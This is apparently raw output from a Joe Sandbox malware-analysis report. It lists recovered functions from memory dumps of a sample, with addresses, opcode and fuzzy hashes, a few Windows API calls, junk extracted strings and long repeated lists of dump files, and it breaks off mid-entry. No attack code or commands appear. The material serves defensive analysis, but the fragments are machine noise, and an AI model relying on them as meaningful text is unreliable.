Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'r|$HTsv$T=_k
API String ID: 0-640857908
Opcode ID: 5864d831529915dbe9e22752228e393fe0433e1aad5fd1025b620ec7e2c509b1
Instruction ID: bd1f1a0cf49b0fbd5874026e39ff275794b4dc229d8298e8e9819f7bcfc7d90c
Opcode Fuzzy Hash: 5864d831529915dbe9e22752228e393fe0433e1aad5fd1025b620ec7e2c509b1
Instruction Fuzzy Hash: 64B23AF360C204AFE304AE2DEC8567AB7EAEFD4720F1A853DE6C4C7744E93598058656

Function 008E9EEB Relevance: 5.3, Strings: 3, Instructions: 1594COMMON

Download Yara Rule

Strings

J7ku, xrefs: 008EAF9F
!(g1, xrefs: 008EAC5F, 008EACD2, 008EAF9E
p0{, xrefs: 008EA8E7

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: !(g1$J7ku$p0{
API String ID: 0-4185244169
Opcode ID: 0b8e1e4168ae6cbda424f01fd4f810bbd4c35653bfa489ba22039dd8b14d6622
Instruction ID: 17012226af55002a465daf1388d993b1cc944457343469326343f6417dcba832
Opcode Fuzzy Hash: 0b8e1e4168ae6cbda424f01fd4f810bbd4c35653bfa489ba22039dd8b14d6622
Instruction Fuzzy Hash: 5AB2E7F390C204AFE3046E2DEC8567ABBE5EF94720F16493DEAC4C7744EA3598058697

Function 008E4EFC Relevance: 5.3, Strings: 3, Instructions: 1556COMMON

Download Yara Rule

Strings

==^O, xrefs: 008E56D4
H]{, xrefs: 008E5AF7
$6%], xrefs: 008E5676

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: $6%]$==^O$H]{
API String ID: 0-4265871112
Opcode ID: a55d87f66ec4ee0a02a7ebd7857ba9f5458d2cb783f2a68160a8d7a7b0d0dff7
Instruction ID: ed0b16cac9d660046a88d700d14e6035f088082eaaac796dcd451b82a015bfae
Opcode Fuzzy Hash: a55d87f66ec4ee0a02a7ebd7857ba9f5458d2cb783f2a68160a8d7a7b0d0dff7
Instruction Fuzzy Hash: BFA207F36082049FE304AE2DEC8567AFBE5EF94720F16893DEAC4C3744E63598158697

Function 008E87D7 Relevance: 5.1, Strings: 3, Instructions: 1349COMMON

Download Yara Rule

Strings

2, xrefs: 008E8B99
1mv=, xrefs: 008E8BA2
8S~k, xrefs: 008E8D8E

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1mv=$8S~k$2
API String ID: 0-1348434687
Opcode ID: 313a2a0f6de503194776860412b136b4b6ddc542140b7ced81edd0e749d5fc67
Instruction ID: 5c77a7ccd1f9b976b196390108a84e74ec9cf1d5a65ee039b5d3fade622be085
Opcode Fuzzy Hash: 313a2a0f6de503194776860412b136b4b6ddc542140b7ced81edd0e749d5fc67
Instruction Fuzzy Hash: 3A92C4B360C210AFE304AE2DEC8567AFBE9EF94720F16893DE6C4C3744E67558418697

Function 008E6C41 Relevance: 5.1, Strings: 3, Instructions: 1311COMMON

Download Yara Rule

Strings

ivo[, xrefs: 008E717F
^K, xrefs: 008E7A36
._, xrefs: 008E7B45

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ^K$ivo[$._
API String ID: 0-298000310
Opcode ID: 42137d24be1972f2354df2e0eceeb2fbe8a693aefa2c097e3ae73e88d638ca39
Instruction ID: 6d6a13c3f9bd1a1c4ac4bc7c5055e94f18013d469289cb9a21daf575c73069c0
Opcode Fuzzy Hash: 42137d24be1972f2354df2e0eceeb2fbe8a693aefa2c097e3ae73e88d638ca39
Instruction Fuzzy Hash: D292E6F360C2049FE704AE2DEC8576AB7E9EF94720F1A493DEAC4C3744E63598058697

Function 6CEB6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CEB6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CEB6E1E

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: 69b00c050ed5603ca1fa5f08237989db779e0fe1110ea0cee3669c82571c9dd0
Instruction ID: af382f5521854a111dc9656be73e3e3f8e2e6df1ffac6018ea8864bb1c68e5ee
Opcode Fuzzy Hash: 69b00c050ed5603ca1fa5f08237989db779e0fe1110ea0cee3669c82571c9dd0
Instruction Fuzzy Hash: 83A19D706183808FD715CF24C5907AEFBF6BF89308F24491DE88A9B751DB70A949CB92

Function 00533720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(0053E118,00000000,00000001,0053E108,00000000), ref: 00533758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 005337B0

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 22d97db9422d4450d1141ce61c2b94224c9800bf7b5820c8fa0c4dcd30f926c0
Instruction ID: 28ebdba260c2c14c33d24dab5e6cba0dfb7c9531d6a26e27adfa75683d264fcb
Opcode Fuzzy Hash: 22d97db9422d4450d1141ce61c2b94224c9800bf7b5820c8fa0c4dcd30f926c0
Instruction Fuzzy Hash: D441C971A40A189FDB24DB58CC95F9BB7B5BB48702F4081D8E609A72D0E7B16E85CF50

Function 6CED85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CED8C7C
__aulldiv.LIBCMT ref: 6CED8DD7

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 2246030c092e5d46e1d3c1e2c99b3109368a2c98b0c4553cdd0be5f05a5c4a19
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: E4327131F001198FDF18CE9DC4A17AEB7B2FB88310F26953AD516BB790D634AD468B91

Function 008D8273 Relevance: 3.1, Strings: 2, Instructions: 644COMMON

Download Yara Rule

Strings

p?', xrefs: 008D84DB
h=_, xrefs: 008D8466

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: h=_$p?'
API String ID: 0-659911539
Opcode ID: b22f950f0b773dadd1ef128c5cbf314b6b3e4dc3952d5109262fcf6670b97e86
Instruction ID: ca7d6bf840f603b327f015b5ad0902363067f9620603345ad5667b3c037ebc71
Opcode Fuzzy Hash: b22f950f0b773dadd1ef128c5cbf314b6b3e4dc3952d5109262fcf6670b97e86
Instruction Fuzzy Hash: B122D6B390C2049FD3046F29EC9567AFBE5EF94720F1A492DEAC883744EA355844CB97

Function 008E257F Relevance: 3.1, Strings: 2, Instructions: 582COMMON

Download Yara Rule

Strings

rrBr, xrefs: 008E274C
n=m, xrefs: 008E292C

Memory Dump Source

Source File: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID:
String ID: rrBr$n=m
API String ID: 0-2611592252
Opcode ID: 744b3a4cecc9228dc87fafaeac080af4be28995c242398fa3eb3eda2b9d899b6
Instruction ID: afa8e4fec302f942c5e2d92a9e8c249d99761bd02d17a5f94d9e64b034d6419c
